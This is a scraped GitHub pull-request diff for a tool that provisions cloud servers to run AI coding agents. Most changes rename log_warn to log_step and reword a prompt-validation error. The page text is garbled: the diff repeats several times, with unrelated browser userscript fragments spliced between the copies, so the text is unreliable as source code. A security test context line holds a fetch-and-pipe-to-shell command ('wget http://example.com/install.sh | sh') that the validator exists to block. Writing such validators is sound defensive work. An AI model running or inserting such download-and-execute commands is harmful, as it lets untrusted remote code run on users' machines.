# shellcheck disable=SC2086
if ssh ${ssh_opts} "${username}@${ip}" "${test_cmd}" >/dev/null 2>&1; then
Expand All@@ -1346,7 +1352,7 @@ generic_ssh_wait() {
local jitter
jitter=$(calculate_retry_backoff "${interval}" "${max_interval}")

log_warn "Waiting for ${description}... (attempt ${attempt}/${max_attempts}, elapsed ${elapsed_time}s, retry in ${jitter}s)"
log_step "Waiting for ${description}... (attempt ${attempt}/${max_attempts}, elapsed ${elapsed_time}s, retry in ${jitter}s)"
sleep "${jitter}"

elapsed_time=$((elapsed_time + jitter))
Expand DownExpand Up@@ -1452,7 +1458,7 @@ generic_wait_for_instance() {
local poll_delay="${INSTANCE_STATUS_POLL_DELAY:-5}"

local attempt=1
log_warn "Waiting for ${description} to become ${target_status}..."
log_step "Waiting for ${description} to become ${target_status}..."

while [[ "${attempt}" -le "${max_attempts}" ]]; do
local response
Expand All@@ -1472,7 +1478,7 @@ generic_wait_for_instance() {
fi
fi

log_warn "${description} status: ${status} (${attempt}/${max_attempts})"
log_step "${description} status: ${status} (${attempt}/${max_attempts})"
sleep "${poll_delay}"
attempt=$((attempt + 1))
done
Expand DownExpand Up@@ -1583,8 +1589,8 @@ ensure_api_token_with_provider() {

# Prompt for new token
echo ""
log_warn "${provider_name} API Token Required"
log_warn "Get your token from: ${help_url}"
log_step "${provider_name} API Token Required"
log_step "Get your token from: ${help_url}"
echo ""

local token
Expand DownExpand Up@@ -1708,7 +1714,7 @@ setup_claude_code_config() {
local upload_callback="${2}"
local run_callback="${3}"

log_warn "Configuring Claude Code..."
log_step "Configuring Claude Code..."

# Create ~/.claude directory
${run_callback} "mkdir -p ~/.claude"
Expand DownExpand Up@@ -1762,7 +1768,7 @@ setup_openclaw_config() {
local upload_callback="${3}"
local run_callback="${4}"

log_warn "Configuring openclaw..."
log_step "Configuring openclaw..."

# Create ~/.openclaw directory
${run_callback} "rm -rf ~/.openclaw && mkdir -p ~/.openclaw"
Expand DownExpand Up@@ -1804,7 +1810,7 @@ setup_continue_config() {
local upload_callback="${2}"
local run_callback="${3}"

log_warn "Configuring Continue..."
log_step "Configuring Continue..."

# Create ~/.continue directory
${run_callback} "mkdir -p ~/.continue"
Expand DownExpand Up@@ -1938,7 +1944,7 @@ ensure_ssh_key_with_provider() {
fi

# Register the key (provider-specific)
log_warn "Registering SSH key with ${provider_name}..."
log_step "Registering SSH key with ${provider_name}..."
local key_name
key_name="spawn-$(hostname)-$(date +%s)"

Expand Down
14 changes: 7 additions & 7 deletions sprite/lib/common.sh
Original file line numberDiff line numberDiff line change
Expand Up@@ -53,7 +53,7 @@ ensure_sprite_installed() {
done

# sprite not found, install it
log_warn "Installing sprite CLI..."
log_step "Installing sprite CLI..."
if ! curl -fsSL https://sprites.dev/install.sh | bash; then
log_error "Failed to install sprite CLI"
log_error ""
Expand All@@ -80,7 +80,7 @@ ensure_sprite_installed() {
# Check if already authenticated with sprite
ensure_sprite_authenticated() {
if ! sprite org list &> /dev/null; then
log_warn "Logging in to sprite..."
log_step "Logging in to sprite..."
sprite login || true
fi
}
Expand All@@ -107,10 +107,10 @@ ensure_sprite_exists() {
return 0
fi

log_warn "Creating sprite '${sprite_name}'..."
log_step "Creating sprite '${sprite_name}'..."
sprite create -skip-console "${sprite_name}" || true

log_warn "Waiting for sprite to be provisioned..."
log_step "Waiting for sprite to be provisioned..."
local elapsed=0
while [[ "${elapsed}" -lt "${max_wait}" ]]; do
if sprite list 2>/dev/null | grep -qE "^${sprite_name}( |$)"; then
Expand All@@ -131,13 +131,13 @@ verify_sprite_connectivity() {
local max_attempts=${2:-6}
local attempt=1

log_warn "Verifying sprite connectivity..."
log_step "Verifying sprite connectivity..."
while [[ "${attempt}" -le "${max_attempts}" ]]; do
if sprite exec -s "${sprite_name}" -- echo "ok" >/dev/null 2>&1; then
log_info "Sprite '${sprite_name}' is ready"
return 0
fi
log_warn "Sprite not ready, retrying (${attempt}/${max_attempts})..."
log_step "Sprite not ready, retrying (${attempt}/${max_attempts})..."
sleep "${SPRITE_CONNECTIVITY_POLL_DELAY}"
((attempt++))
done
Expand DownExpand Up@@ -166,7 +166,7 @@ run_sprite() {
# Configure shell environment (PATH, zsh setup)
setup_shell_environment() {
local sprite_name=${1}
log_warn "Configuring shell environment..."
log_step "Configuring shell environment..."

# Create temp file with path config
local path_temp
Expand Down
, 'i'); if (__m === '*' || __re.test(location.href)) { injectUserscript("// Auto-enable theater mode on YouTube\n(function() {\n function tryTheater() {\n var btn = document.querySelector('button[aria-label=\"Theater mode\"], ytd-player #player button[title=\"Theater mode\"]');\n if (btn && !btn.classList.contains('activated')) {\n btn.click();\n }\n }\n \n // Try immediately\n tryTheater();\n \n // Try after navigation (SPA)\n var lastUrl = location.href;\n setInterval(function() {\n if (location.href !== lastUrl) {\n lastUrl = location.href;\n setTimeout(tryTheater, 500);\n }\n }, 1000);\n \n // Also try on player load\n var observer = new MutationObserver(tryTheater);\n observer.observe(document.body, { childList: true, subtree: true });\n})();", "YouTube Theater Mode Default"); } } catch(__e) { console.warn('[Userscript:YouTube Theater Mode Default]', __e); } })(); (function(){ try { var __m = "*"; var __re = new RegExp('^' + ".*" + '
Skip to content
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
4 changes: 2 additions & 2 deletions cli/src/__tests__/security.test.ts
Original file line numberDiff line numberDiff line change
Expand Up@@ -182,8 +182,8 @@ wget http://example.com/install.sh | sh
validatePrompt("Run $(echo test)");
throw new Error("Expected validatePrompt to throw");
} catch (e: any) {
expect(e.message).toContain("prompt-file");
expect(e.message).toContain("spawn");
expect(e.message).toContain("false positive");
expect(e.message).toContain("rephrasing");
}
});

Expand Down
5 changes: 2 additions & 3 deletions cli/src/security.ts
Original file line numberDiff line numberDiff line change
Expand Up@@ -108,9 +108,8 @@ export function validatePrompt(prompt: string): void {
throw new Error(
`Prompt blocked: contains potentially dangerous pattern (${description}).\n` +
`\n` +
`If this is a false positive, use --prompt-file instead:\n` +
` echo "your prompt" > prompt.txt\n` +
` spawn <agent> <cloud> --prompt-file prompt.txt`
`If this is a false positive, try rephrasing to avoid shell-like syntax\n` +
`(e.g., describe the command instead of writing it literally).`
);
}
}
Expand Down
8 changes: 4 additions & 4 deletions digitalocean/claude.sh
Original file line numberDiff line numberDiff line change
Expand Up@@ -31,9 +31,9 @@ verify_server_connectivity "${DO_SERVER_IP}"
wait_for_cloud_init "${DO_SERVER_IP}" 60

# 5. Verify Claude Code is installed (fallback to manual install)
log_warn "Verifying Claude Code installation..."
log_step "Verifying Claude Code installation..."
if ! run_server "${DO_SERVER_IP}" "export PATH=\$HOME/.local/bin:\$PATH && command -v claude" >/dev/null 2>&1; then
log_warn "Claude Code not found, installing manually..."
log_step "Claude Code not found, installing manually..."
run_server "${DO_SERVER_IP}" "curl -fsSL https://claude.ai/install.sh | bash"
fi

Expand All@@ -54,7 +54,7 @@ else
fi

# 7. Inject environment variables into ~/.zshrc
log_warn "Setting up environment variables..."
log_step "Setting up environment variables..."
inject_env_vars_ssh "${DO_SERVER_IP}" upload_file run_server \
"OPENROUTER_API_KEY=${OPENROUTER_API_KEY}" \
"ANTHROPIC_BASE_URL=https://openrouter.ai/api" \
Expand All@@ -74,7 +74,7 @@ log_info "Droplet: ${DROPLET_NAME} (ID: ${DO_DROPLET_ID}, IP: ${DO_SERVER_IP})"
echo ""

# 9. Start Claude Code interactively
log_warn "Starting Claude Code..."
log_step "Starting Claude Code..."
sleep 1
clear
interactive_session "${DO_SERVER_IP}" "export PATH=\$HOME/.local/bin:\$PATH && source ~/.zshrc && claude"
4 changes: 2 additions & 2 deletions digitalocean/lib/common.sh
Original file line numberDiff line numberDiff line change
Expand Up@@ -166,7 +166,7 @@ create_server() {
validate_resource_name "$size" || { log_error "Invalid DO_DROPLET_SIZE"; return 1; }
validate_region_name "$region" || { log_error "Invalid DO_REGION"; return 1; }

log_warn "Creating DigitalOcean droplet '$name' (size: $size, region: $region)..."
log_step "Creating DigitalOcean droplet '$name' (size: $size, region: $region)..."

# Get all SSH key IDs
local ssh_keys_response
Expand DownExpand Up@@ -219,7 +219,7 @@ interactive_session() { ssh_interactive_session "$@"; }
destroy_server() {
local droplet_id="$1"

log_warn "Destroying droplet $droplet_id..."
log_step "Destroying droplet $droplet_id..."
local response
response=$(do_api DELETE "/droplets/$droplet_id")

Expand Down
8 changes: 4 additions & 4 deletions hetzner/claude.sh
Original file line numberDiff line numberDiff line change
Expand Up@@ -28,9 +28,9 @@ verify_server_connectivity "${HETZNER_SERVER_IP}"
wait_for_cloud_init "${HETZNER_SERVER_IP}" 60

# 5. Verify Claude Code is installed (fallback to manual install)
log_warn "Verifying Claude Code installation..."
log_step "Verifying Claude Code installation..."
if ! run_server "${HETZNER_SERVER_IP}" "export PATH=\$HOME/.local/bin:\$PATH && command -v claude" >/dev/null 2>&1; then
log_warn "Claude Code not found, installing manually..."
log_step "Claude Code not found, installing manually..."
run_server "${HETZNER_SERVER_IP}" "curl -fsSL https://claude.ai/install.sh | bash"
fi

Expand All@@ -50,7 +50,7 @@ else
OPENROUTER_API_KEY=$(get_openrouter_api_key_oauth 5180)
fi

log_warn "Setting up environment variables..."
log_step "Setting up environment variables..."
inject_env_vars_ssh "${HETZNER_SERVER_IP}" upload_file run_server \
"OPENROUTER_API_KEY=${OPENROUTER_API_KEY}" \
"ANTHROPIC_BASE_URL=https://openrouter.ai/api" \
Expand All@@ -70,7 +70,7 @@ log_info "Server: ${SERVER_NAME} (ID: ${HETZNER_SERVER_ID}, IP: ${HETZNER_SERVER
echo ""

# 9. Start Claude Code interactively
log_warn "Starting Claude Code..."
log_step "Starting Claude Code..."
sleep 1
clear
interactive_session "${HETZNER_SERVER_IP}" "export PATH=\$HOME/.local/bin:\$PATH && source ~/.zshrc && claude"
4 changes: 2 additions & 2 deletions hetzner/lib/common.sh
Original file line numberDiff line numberDiff line change
Expand Up@@ -244,7 +244,7 @@ create_server() {
validate_resource_name "$server_type" || { log_error "Invalid HETZNER_SERVER_TYPE"; return 1; }
validate_region_name "$location" || { log_error "Invalid HETZNER_LOCATION"; return 1; }

log_warn "Creating Hetzner server '$name' (type: $server_type, location: $location)..."
log_step "Creating Hetzner server '$name' (type: $server_type, location: $location)..."

# Get all SSH key IDs
local ssh_keys_response
Expand DownExpand Up@@ -280,7 +280,7 @@ interactive_session() { ssh_interactive_session "$@"; }
destroy_server() {
local server_id="$1"

log_warn "Destroying server $server_id..."
log_step "Destroying server $server_id..."
local response
response=$(hetzner_api DELETE "/servers/$server_id")

Expand Down
32 changes: 19 additions & 13 deletions shared/common.sh
Original file line numberDiff line numberDiff line change
Expand Up@@ -15,6 +15,7 @@
RED='\033[0;31m'
GREEN='\033[0;32m'
YELLOW='\033[1;33m'
CYAN='\033[0;36m'
NC='\033[0m' # No Color

# Print colored messages (to stderr so they don't pollute command substitution output)
Expand All@@ -30,6 +31,11 @@ log_error() {
printf '%b\n' "${RED}${1}${NC}" >&2
}

# Progress/status messages (use instead of log_warn for non-warning status updates)
log_step() {
printf '%b\n' "${CYAN}${1}${NC}" >&2
}

# ============================================================
# Configurable timing constants
# ============================================================
Expand DownExpand Up@@ -111,7 +117,7 @@ open_browser() {
elif command -v xdg-open &> /dev/null; then
xdg-open "${url}" </dev/null
else
log_warn "Please open: ${url}"
log_step "Please open: ${url}"
fi
}

Expand DownExpand Up@@ -894,7 +900,7 @@ generate_ssh_key_if_missing() {
if [[ -f "${key_path}" ]]; then
return 0
fi
log_warn "Generating SSH key..."
log_step "Generating SSH key..."
mkdir -p "$(dirname "${key_path}")"
ssh-keygen -t ed25519 -f "${key_path}" -N "" -q
log_info "SSH key generated at ${key_path}"
Expand DownExpand Up@@ -1239,7 +1245,7 @@ verify_agent_installed() {
local verify_arg="${2:---version}"
local agent_name="${3:-${agent_cmd}}"

log_warn "Verifying ${agent_name} installation..."
log_step "Verifying ${agent_name} installation..."

if ! command -v "${agent_cmd}" &> /dev/null; then
log_error "${agent_name} installation failed: command '${agent_cmd}' not found in PATH"
Expand DownExpand Up@@ -1334,7 +1340,7 @@ generic_ssh_wait() {
local max_interval=30
local elapsed_time=0

log_warn "Waiting for ${description} to ${ip} (this usually takes 30-90 seconds)..."
log_step "Waiting for ${description} to ${ip} (this usually takes 30-90 seconds)..."
while [[ "${attempt}" -le "${max_attempts}" ]]; do
# shellcheck disable=SC2086
if ssh ${ssh_opts} "${username}@${ip}" "${test_cmd}" >/dev/null 2>&1; then
Expand All@@ -1346,7 +1352,7 @@ generic_ssh_wait() {
local jitter
jitter=$(calculate_retry_backoff "${interval}" "${max_interval}")

log_warn "Waiting for ${description}... (attempt ${attempt}/${max_attempts}, elapsed ${elapsed_time}s, retry in ${jitter}s)"
log_step "Waiting for ${description}... (attempt ${attempt}/${max_attempts}, elapsed ${elapsed_time}s, retry in ${jitter}s)"
sleep "${jitter}"

elapsed_time=$((elapsed_time + jitter))
Expand DownExpand Up@@ -1452,7 +1458,7 @@ generic_wait_for_instance() {
local poll_delay="${INSTANCE_STATUS_POLL_DELAY:-5}"

local attempt=1
log_warn "Waiting for ${description} to become ${target_status}..."
log_step "Waiting for ${description} to become ${target_status}..."

while [[ "${attempt}" -le "${max_attempts}" ]]; do
local response
Expand All@@ -1472,7 +1478,7 @@ generic_wait_for_instance() {
fi
fi

log_warn "${description} status: ${status} (${attempt}/${max_attempts})"
log_step "${description} status: ${status} (${attempt}/${max_attempts})"
sleep "${poll_delay}"
attempt=$((attempt + 1))
done
Expand DownExpand Up@@ -1583,8 +1589,8 @@ ensure_api_token_with_provider() {

# Prompt for new token
echo ""
log_warn "${provider_name} API Token Required"
log_warn "Get your token from: ${help_url}"
log_step "${provider_name} API Token Required"
log_step "Get your token from: ${help_url}"
echo ""

local token
Expand DownExpand Up@@ -1708,7 +1714,7 @@ setup_claude_code_config() {
local upload_callback="${2}"
local run_callback="${3}"

log_warn "Configuring Claude Code..."
log_step "Configuring Claude Code..."

# Create ~/.claude directory
${run_callback} "mkdir -p ~/.claude"
Expand DownExpand Up@@ -1762,7 +1768,7 @@ setup_openclaw_config() {
local upload_callback="${3}"
local run_callback="${4}"

log_warn "Configuring openclaw..."
log_step "Configuring openclaw..."

# Create ~/.openclaw directory
${run_callback} "rm -rf ~/.openclaw && mkdir -p ~/.openclaw"
Expand DownExpand Up@@ -1804,7 +1810,7 @@ setup_continue_config() {
local upload_callback="${2}"
local run_callback="${3}"

log_warn "Configuring Continue..."
log_step "Configuring Continue..."

# Create ~/.continue directory
${run_callback} "mkdir -p ~/.continue"
Expand DownExpand Up@@ -1938,7 +1944,7 @@ ensure_ssh_key_with_provider() {
fi

# Register the key (provider-specific)
log_warn "Registering SSH key with ${provider_name}..."
log_step "Registering SSH key with ${provider_name}..."
local key_name
key_name="spawn-$(hostname)-$(date +%s)"

Expand Down
14 changes: 7 additions & 7 deletions sprite/lib/common.sh
Original file line numberDiff line numberDiff line change
Expand Up@@ -53,7 +53,7 @@ ensure_sprite_installed() {
done

# sprite not found, install it
log_warn "Installing sprite CLI..."
log_step "Installing sprite CLI..."
if ! curl -fsSL https://sprites.dev/install.sh | bash; then
log_error "Failed to install sprite CLI"
log_error ""
Expand All@@ -80,7 +80,7 @@ ensure_sprite_installed() {
# Check if already authenticated with sprite
ensure_sprite_authenticated() {
if ! sprite org list &> /dev/null; then
log_warn "Logging in to sprite..."
log_step "Logging in to sprite..."
sprite login || true
fi
}
Expand All@@ -107,10 +107,10 @@ ensure_sprite_exists() {
return 0
fi

log_warn "Creating sprite '${sprite_name}'..."
log_step "Creating sprite '${sprite_name}'..."
sprite create -skip-console "${sprite_name}" || true

log_warn "Waiting for sprite to be provisioned..."
log_step "Waiting for sprite to be provisioned..."
local elapsed=0
while [[ "${elapsed}" -lt "${max_wait}" ]]; do
if sprite list 2>/dev/null | grep -qE "^${sprite_name}( |$)"; then
Expand All@@ -131,13 +131,13 @@ verify_sprite_connectivity() {
local max_attempts=${2:-6}
local attempt=1

log_warn "Verifying sprite connectivity..."
log_step "Verifying sprite connectivity..."
while [[ "${attempt}" -le "${max_attempts}" ]]; do
if sprite exec -s "${sprite_name}" -- echo "ok" >/dev/null 2>&1; then
log_info "Sprite '${sprite_name}' is ready"
return 0
fi
log_warn "Sprite not ready, retrying (${attempt}/${max_attempts})..."
log_step "Sprite not ready, retrying (${attempt}/${max_attempts})..."
sleep "${SPRITE_CONNECTIVITY_POLL_DELAY}"
((attempt++))
done
Expand DownExpand Up@@ -166,7 +166,7 @@ run_sprite() {
# Configure shell environment (PATH, zsh setup)
setup_shell_environment() {
local sprite_name=${1}
log_warn "Configuring shell environment..."
log_step "Configuring shell environment..."

# Create temp file with path config
local path_temp
Expand Down
, 'i'); if (__m === '*' || __re.test(location.href)) { injectUserscript("// Remove or un-stick sticky/fixed headers that block content\n(function() {\n function unstick() {\n document.querySelectorAll('header, nav, [role=\"banner\"], .header, .navbar, .sticky, .fixed-top, [style*=\"position: fixed\"], [style*=\"position:sticky\"]').forEach(function(el) {\n if (el.style.position === 'fixed' || el.style.position === 'sticky' || \n getComputedStyle(el).position === 'fixed' || getComputedStyle(el).position === 'sticky') {\n el.style.position = 'static';\n el.style.top = 'auto';\n el.style.zIndex = 'auto';\n }\n });\n }\n \n unstick();\n \n var observer = new MutationObserver(unstick);\n observer.observe(document.body, { childList: true, subtree: true, attributes: true, attributeFilter: ['style', 'class'] });\n})();", "Kill Sticky Headers"); } } catch(__e) { console.warn('[Userscript:Kill Sticky Headers]', __e); } })(); (function(){ try { var __m = "*"; var __re = new RegExp('^' + ".*" + '
Skip to content
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
4 changes: 2 additions & 2 deletions cli/src/__tests__/security.test.ts
Original file line numberDiff line numberDiff line change
Expand Up@@ -182,8 +182,8 @@ wget http://example.com/install.sh | sh
validatePrompt("Run $(echo test)");
throw new Error("Expected validatePrompt to throw");
} catch (e: any) {
expect(e.message).toContain("prompt-file");
expect(e.message).toContain("spawn");
expect(e.message).toContain("false positive");
expect(e.message).toContain("rephrasing");
}
});

Expand Down
5 changes: 2 additions & 3 deletions cli/src/security.ts
Original file line numberDiff line numberDiff line change
Expand Up@@ -108,9 +108,8 @@ export function validatePrompt(prompt: string): void {
throw new Error(
`Prompt blocked: contains potentially dangerous pattern (${description}).\n` +
`\n` +
`If this is a false positive, use --prompt-file instead:\n` +
` echo "your prompt" > prompt.txt\n` +
` spawn <agent> <cloud> --prompt-file prompt.txt`
`If this is a false positive, try rephrasing to avoid shell-like syntax\n` +
`(e.g., describe the command instead of writing it literally).`
);
}
}
Expand Down
8 changes: 4 additions & 4 deletions digitalocean/claude.sh
Original file line numberDiff line numberDiff line change
Expand Up@@ -31,9 +31,9 @@ verify_server_connectivity "${DO_SERVER_IP}"
wait_for_cloud_init "${DO_SERVER_IP}" 60

# 5. Verify Claude Code is installed (fallback to manual install)
log_warn "Verifying Claude Code installation..."
log_step "Verifying Claude Code installation..."
if ! run_server "${DO_SERVER_IP}" "export PATH=\$HOME/.local/bin:\$PATH && command -v claude" >/dev/null 2>&1; then
log_warn "Claude Code not found, installing manually..."
log_step "Claude Code not found, installing manually..."
run_server "${DO_SERVER_IP}" "curl -fsSL https://claude.ai/install.sh | bash"
fi

Expand All@@ -54,7 +54,7 @@ else
fi

# 7. Inject environment variables into ~/.zshrc
log_warn "Setting up environment variables..."
log_step "Setting up environment variables..."
inject_env_vars_ssh "${DO_SERVER_IP}" upload_file run_server \
"OPENROUTER_API_KEY=${OPENROUTER_API_KEY}" \
"ANTHROPIC_BASE_URL=https://openrouter.ai/api" \
Expand All@@ -74,7 +74,7 @@ log_info "Droplet: ${DROPLET_NAME} (ID: ${DO_DROPLET_ID}, IP: ${DO_SERVER_IP})"
echo ""

# 9. Start Claude Code interactively
log_warn "Starting Claude Code..."
log_step "Starting Claude Code..."
sleep 1
clear
interactive_session "${DO_SERVER_IP}" "export PATH=\$HOME/.local/bin:\$PATH && source ~/.zshrc && claude"
4 changes: 2 additions & 2 deletions digitalocean/lib/common.sh
Original file line numberDiff line numberDiff line change
Expand Up@@ -166,7 +166,7 @@ create_server() {
validate_resource_name "$size" || { log_error "Invalid DO_DROPLET_SIZE"; return 1; }
validate_region_name "$region" || { log_error "Invalid DO_REGION"; return 1; }

log_warn "Creating DigitalOcean droplet '$name' (size: $size, region: $region)..."
log_step "Creating DigitalOcean droplet '$name' (size: $size, region: $region)..."

# Get all SSH key IDs
local ssh_keys_response
Expand DownExpand Up@@ -219,7 +219,7 @@ interactive_session() { ssh_interactive_session "$@"; }
destroy_server() {
local droplet_id="$1"

log_warn "Destroying droplet $droplet_id..."
log_step "Destroying droplet $droplet_id..."
local response
response=$(do_api DELETE "/droplets/$droplet_id")

Expand Down
8 changes: 4 additions & 4 deletions hetzner/claude.sh
Original file line numberDiff line numberDiff line change
Expand Up@@ -28,9 +28,9 @@ verify_server_connectivity "${HETZNER_SERVER_IP}"
wait_for_cloud_init "${HETZNER_SERVER_IP}" 60

# 5. Verify Claude Code is installed (fallback to manual install)
log_warn "Verifying Claude Code installation..."
log_step "Verifying Claude Code installation..."
if ! run_server "${HETZNER_SERVER_IP}" "export PATH=\$HOME/.local/bin:\$PATH && command -v claude" >/dev/null 2>&1; then
log_warn "Claude Code not found, installing manually..."
log_step "Claude Code not found, installing manually..."
run_server "${HETZNER_SERVER_IP}" "curl -fsSL https://claude.ai/install.sh | bash"
fi

Expand All@@ -50,7 +50,7 @@ else
OPENROUTER_API_KEY=$(get_openrouter_api_key_oauth 5180)
fi

log_warn "Setting up environment variables..."
log_step "Setting up environment variables..."
inject_env_vars_ssh "${HETZNER_SERVER_IP}" upload_file run_server \
"OPENROUTER_API_KEY=${OPENROUTER_API_KEY}" \
"ANTHROPIC_BASE_URL=https://openrouter.ai/api" \
Expand All@@ -70,7 +70,7 @@ log_info "Server: ${SERVER_NAME} (ID: ${HETZNER_SERVER_ID}, IP: ${HETZNER_SERVER
echo ""

# 9. Start Claude Code interactively
log_warn "Starting Claude Code..."
log_step "Starting Claude Code..."
sleep 1
clear
interactive_session "${HETZNER_SERVER_IP}" "export PATH=\$HOME/.local/bin:\$PATH && source ~/.zshrc && claude"
4 changes: 2 additions & 2 deletions hetzner/lib/common.sh
Original file line numberDiff line numberDiff line change
Expand Up@@ -244,7 +244,7 @@ create_server() {
validate_resource_name "$server_type" || { log_error "Invalid HETZNER_SERVER_TYPE"; return 1; }
validate_region_name "$location" || { log_error "Invalid HETZNER_LOCATION"; return 1; }

log_warn "Creating Hetzner server '$name' (type: $server_type, location: $location)..."
log_step "Creating Hetzner server '$name' (type: $server_type, location: $location)..."

# Get all SSH key IDs
local ssh_keys_response
Expand DownExpand Up@@ -280,7 +280,7 @@ interactive_session() { ssh_interactive_session "$@"; }
destroy_server() {
local server_id="$1"

log_warn "Destroying server $server_id..."
log_step "Destroying server $server_id..."
local response
response=$(hetzner_api DELETE "/servers/$server_id")

Expand Down
32 changes: 19 additions & 13 deletions shared/common.sh
Original file line numberDiff line numberDiff line change
Expand Up@@ -15,6 +15,7 @@
RED='\033[0;31m'
GREEN='\033[0;32m'
YELLOW='\033[1;33m'
CYAN='\033[0;36m'
NC='\033[0m' # No Color

# Print colored messages (to stderr so they don't pollute command substitution output)
Expand All@@ -30,6 +31,11 @@ log_error() {
printf '%b\n' "${RED}${1}${NC}" >&2
}

# Progress/status messages (use instead of log_warn for non-warning status updates)
log_step() {
printf '%b\n' "${CYAN}${1}${NC}" >&2
}

# ============================================================
# Configurable timing constants
# ============================================================
Expand DownExpand Up@@ -111,7 +117,7 @@ open_browser() {
elif command -v xdg-open &> /dev/null; then
xdg-open "${url}" </dev/null
else
log_warn "Please open: ${url}"
log_step "Please open: ${url}"
fi
}

Expand DownExpand Up@@ -894,7 +900,7 @@ generate_ssh_key_if_missing() {
if [[ -f "${key_path}" ]]; then
return 0
fi
log_warn "Generating SSH key..."
log_step "Generating SSH key..."
mkdir -p "$(dirname "${key_path}")"
ssh-keygen -t ed25519 -f "${key_path}" -N "" -q
log_info "SSH key generated at ${key_path}"
Expand DownExpand Up@@ -1239,7 +1245,7 @@ verify_agent_installed() {
local verify_arg="${2:---version}"
local agent_name="${3:-${agent_cmd}}"

log_warn "Verifying ${agent_name} installation..."
log_step "Verifying ${agent_name} installation..."

if ! command -v "${agent_cmd}" &> /dev/null; then
log_error "${agent_name} installation failed: command '${agent_cmd}' not found in PATH"
Expand DownExpand Up@@ -1334,7 +1340,7 @@ generic_ssh_wait() {
local max_interval=30
local elapsed_time=0

log_warn "Waiting for ${description} to ${ip} (this usually takes 30-90 seconds)..."
log_step "Waiting for ${description} to ${ip} (this usually takes 30-90 seconds)..."
while [[ "${attempt}" -le "${max_attempts}" ]]; do
# shellcheck disable=SC2086
if ssh ${ssh_opts} "${username}@${ip}" "${test_cmd}" >/dev/null 2>&1; then
Expand All@@ -1346,7 +1352,7 @@ generic_ssh_wait() {
local jitter
jitter=$(calculate_retry_backoff "${interval}" "${max_interval}")

log_warn "Waiting for ${description}... (attempt ${attempt}/${max_attempts}, elapsed ${elapsed_time}s, retry in ${jitter}s)"
log_step "Waiting for ${description}... (attempt ${attempt}/${max_attempts}, elapsed ${elapsed_time}s, retry in ${jitter}s)"
sleep "${jitter}"

elapsed_time=$((elapsed_time + jitter))
Expand DownExpand Up@@ -1452,7 +1458,7 @@ generic_wait_for_instance() {
local poll_delay="${INSTANCE_STATUS_POLL_DELAY:-5}"

local attempt=1
log_warn "Waiting for ${description} to become ${target_status}..."
log_step "Waiting for ${description} to become ${target_status}..."

while [[ "${attempt}" -le "${max_attempts}" ]]; do
local response
Expand All@@ -1472,7 +1478,7 @@ generic_wait_for_instance() {
fi
fi

log_warn "${description} status: ${status} (${attempt}/${max_attempts})"
log_step "${description} status: ${status} (${attempt}/${max_attempts})"
sleep "${poll_delay}"
attempt=$((attempt + 1))
done
Expand DownExpand Up@@ -1583,8 +1589,8 @@ ensure_api_token_with_provider() {

# Prompt for new token
echo ""
log_warn "${provider_name} API Token Required"
log_warn "Get your token from: ${help_url}"
log_step "${provider_name} API Token Required"
log_step "Get your token from: ${help_url}"
echo ""

local token
Expand DownExpand Up@@ -1708,7 +1714,7 @@ setup_claude_code_config() {
local upload_callback="${2}"
local run_callback="${3}"

log_warn "Configuring Claude Code..."
log_step "Configuring Claude Code..."

# Create ~/.claude directory
${run_callback} "mkdir -p ~/.claude"
Expand DownExpand Up@@ -1762,7 +1768,7 @@ setup_openclaw_config() {
local upload_callback="${3}"
local run_callback="${4}"

log_warn "Configuring openclaw..."
log_step "Configuring openclaw..."

# Create ~/.openclaw directory
${run_callback} "rm -rf ~/.openclaw && mkdir -p ~/.openclaw"
Expand DownExpand Up@@ -1804,7 +1810,7 @@ setup_continue_config() {
local upload_callback="${2}"
local run_callback="${3}"

log_warn "Configuring Continue..."
log_step "Configuring Continue..."

# Create ~/.continue directory
${run_callback} "mkdir -p ~/.continue"
Expand DownExpand Up@@ -1938,7 +1944,7 @@ ensure_ssh_key_with_provider() {
fi

# Register the key (provider-specific)
log_warn "Registering SSH key with ${provider_name}..."
log_step "Registering SSH key with ${provider_name}..."
local key_name
key_name="spawn-$(hostname)-$(date +%s)"

Expand Down
14 changes: 7 additions & 7 deletions sprite/lib/common.sh
Original file line numberDiff line numberDiff line change
Expand Up@@ -53,7 +53,7 @@ ensure_sprite_installed() {
done

# sprite not found, install it
log_warn "Installing sprite CLI..."
log_step "Installing sprite CLI..."
if ! curl -fsSL https://sprites.dev/install.sh | bash; then
log_error "Failed to install sprite CLI"
log_error ""
Expand All@@ -80,7 +80,7 @@ ensure_sprite_installed() {
# Check if already authenticated with sprite
ensure_sprite_authenticated() {
if ! sprite org list &> /dev/null; then
log_warn "Logging in to sprite..."
log_step "Logging in to sprite..."
sprite login || true
fi
}
Expand All@@ -107,10 +107,10 @@ ensure_sprite_exists() {
return 0
fi

log_warn "Creating sprite '${sprite_name}'..."
log_step "Creating sprite '${sprite_name}'..."
sprite create -skip-console "${sprite_name}" || true

log_warn "Waiting for sprite to be provisioned..."
log_step "Waiting for sprite to be provisioned..."
local elapsed=0
while [[ "${elapsed}" -lt "${max_wait}" ]]; do
if sprite list 2>/dev/null | grep -qE "^${sprite_name}( |$)"; then
Expand All@@ -131,13 +131,13 @@ verify_sprite_connectivity() {
local max_attempts=${2:-6}
local attempt=1

log_warn "Verifying sprite connectivity..."
log_step "Verifying sprite connectivity..."
while [[ "${attempt}" -le "${max_attempts}" ]]; do
if sprite exec -s "${sprite_name}" -- echo "ok" >/dev/null 2>&1; then
log_info "Sprite '${sprite_name}' is ready"
return 0
fi
log_warn "Sprite not ready, retrying (${attempt}/${max_attempts})..."
log_step "Sprite not ready, retrying (${attempt}/${max_attempts})..."
sleep "${SPRITE_CONNECTIVITY_POLL_DELAY}"
((attempt++))
done
Expand DownExpand Up@@ -166,7 +166,7 @@ run_sprite() {
# Configure shell environment (PATH, zsh setup)
setup_shell_environment() {
local sprite_name=${1}
log_warn "Configuring shell environment..."
log_step "Configuring shell environment..."

# Create temp file with path config
local path_temp
Expand Down
